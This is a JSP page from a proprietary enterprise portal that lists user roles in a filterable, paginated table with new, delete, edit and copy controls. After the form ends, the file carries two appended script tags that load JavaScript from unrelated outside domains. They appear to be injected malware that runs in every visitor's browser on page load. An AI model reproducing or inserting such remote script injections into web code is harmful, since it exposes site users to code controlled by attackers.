<%
/*
 * @(#)ListUserRole.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of
 * DCIVision Ltd ("Confidential Information").  You shall not
 * disclose such Confidential Information and shall use it only in
 * accordance with the terms of the license agreement you entered into
 * with DCIVision Ltd.
 */


/**

  ListUserRole.jsp

  This is a ListUserRole page.  It shows the active roles' record in EIP.

    @author             Phoebe Wong
    @company            DCIVision Ltd
    @creation date      24/07/2003
    @version            $Revision: 1.15.4.12 $
*/

%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.util.ArrayList"%>
<%@ page import="java.util.Locale"%>
<%@ page import="com.dcivision.user.bean.*"%>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.framework.bean.*"%>
<%@ page import="com.dcivision.framework.web.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="listUserRoleForm" scope="request" class="com.dcivision.user.web.ListUserRoleForm"/>
<%
  /****************************************************************************
   * List Attributes Configuration Begin                                      *
   ****************************************************************************/
  String      LIST_NAME = "userRoleList";

  String[][]  LABEL_MAP = { {"ID", "ID"},
                            {"user.columnheader.role_name", "ROLE_NAME"},
                            {"user.columnheader.role_desc", "ROLE_DESC"},
                            {"user.columnheader.role_type", "ROLE_TYPE"},
                            {"common.columnheader.update_date", "UPDATE_DATE"},
                            {"common.columnheader.updater", "UPDATER_ID"}
                          };

  String[][] SEARCH_MAP = { {"user.label.role_name", "ROLE_NAME"},
                            {"user.label.role_desc", "ROLE_DESC"}
                          };

  int     COLUMN_OFFSET = 2;
  /****************************************************************************
   * List Attributes Configuration End
   ****************************************************************************/
%>
<!-- Form Section Begin -->
<html:form action="user/ListUserRole" method="post">
<html:hidden property="opMode"/>
<html:hidden property="navMode"/>
<html:hidden property="sortAttribute"/>
<html:hidden property="sortOrder"/>
<html:hidden property="curStartRowNo"/>


<layout:listBar>
    <div class="button">
      <html:permissionButton label="common.label.new" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="I" link="MaintUserRole.do"/>
      <html:permissionButton label="common.label.delete" styleClass="but-colheader" disabledStyleClass="but-colheader-disabled" right="D" onClick="return(OpListDelete(listUserRoleForm));"/>
    </div>
    <layout:filterControl/>
    </layout:listBar>

<!-- Search Panel Begin -->
<div id="filterPanel" class="filterPanel">
  <div class="wording"><bean:message key='common.label.filter.panel_wording'/></div>
  <div>
  <table>
  <tr>
    <td class="filterPanelItem" nowrap>
      <html:select property="basicSearchField" onkeypress="onKeyPressHandler(event);">
      <html:options stringArray='<%=SEARCH_MAP%>'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:select property='basicSearchType' onkeypress="onKeyPressHandler(event);">
        <html:options listName='criteriaList'/>
      </html:select>
    </td>
    <td class="filterPanelItem" nowrap>
      <html:text property='basicSearchKeyword' size='25' maxlength='100' onkeypress="onKeyPressHandler(event);"/>
    </td>
  </tr>
</table>
</div>
    <div class="buttonContainer">
      <html:standardButton supportEnterKey="true" label="common.label.apply_filter" onClick="return(OpList(listUserRoleForm, '${listUserRoleForm.sortAttribute}', '${listUserRoleForm.sortOrder}'))"/>
      <html:standardButton label="common.label.remove_filter" onClick="return(OpListReset(listUserRoleForm))"/>
    </div>
    <br style="clear:both" />
</div>
<!-- Search Panel End -->


<!-- Table Showing Record List Begin -->
<div id="dataGrid" class="listTable">
<table>
  <!-- Table Column Header Begin -->
  <tr>
  <layout:columnHeader form="listUserRoleForm" labelMap="<%=LABEL_MAP%>" sortAttribute="<%=listUserRoleForm.getSortAttribute()%>" sortOrder="<%=listUserRoleForm.getSortOrder()%>"/>
  </tr>
  <!-- Table Column Header End -->
  <!-- Record Looping Begin -->
  <logic:iterate id="userRole" name="<%=LIST_NAME%>" scope="request" indexId="listLoopCnt">
  <tr onmousedown="SetTableRowColor(this, <bean:write name='listLoopCnt'/>, 'click', <%=((AbstractBaseObject)userRole).getID()%>);">
    <td align="center">
    <%if ( UserRole.ROLE_TYPE_USER_DEFINED.equals(((UserRole)userRole).getRoleType())) {%>
      <logic:permission right='D'>
      <input type="checkbox" name="basicSelectedID" value="<bean:write name='userRole' property='ID'/>" onclick="return(false);">
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
      </logic:permission>
    <%} else {%>
      <html:img src='IconCheckboxDisable.gif'  align='absmiddle' styleClass='disabledCheckbox'/>
    <%}%>
    </td>
    <td align="center">
      <logic:permission right='E'>
      <a href="MaintUserRole.do?navMode=E&ID=<bean:write name='userRole' property='ID'/>"><html:img src='IconEdit.gif'  align='absmiddle'/></a>
      <html:img src='IconEditDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td align="center">
      <logic:permission right='C'>
      <a href="MaintUserRole.do?navMode=C&ID=<bean:write name='userRole' property='ID'/>"><html:img src='IconCopy.gif'  align='absmiddle'/></a>
      <html:img src='IconCopyDisable.gif'  align='absmiddle'/>
      </logic:permission>
    </td>
    <td style="WORD-BREAK: break-all; WORD-WRAP: break-word">
            <a href="MaintUserRole.do?navMode=V&ID=<bean:write name='userRole' property='ID'/>">
            <bean:write name='userRole' property='roleName'/></a>
    </td>
    <td style="WORD-BREAK: break-all; WORD-WRAP: break-word"><bean:write name='userRole' property='roleDesc'/></td>
    <td><bean:message key='<%="user.label.role_type_"+((com.dcivision.user.bean.UserRole)userRole).getRoleType()%>'/></td>
    <td class="bodyVerySmall" nowrap><bean:write name='userRole' property='updateDate' format='<%=TextUtility.getDateTimeFormat().toPattern()%>'/></a></td>
    <td class="bodyVerySmall"><bean:write name='userRole' property='updaterName'/></td>
  </tr>
  </logic:iterate>
  </table>
  </div>
  <!-- Record Looping End -->
  <!-- Pager Information Begin -->
  <div class="listStatusBar">
  <layout:pager form="listUserRoleForm" name='<%=LIST_NAME%>'>
    <div class="statement"><layout:pagerInfo/></div>
    <div class="sepBar"><layout:pagerIndex/></div>
  </layout:pager>
  </div>
  <!-- Pager Information End -->

<!-- Table Showing Record List End -->

</html:form>
<!-- Form Section End -->

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>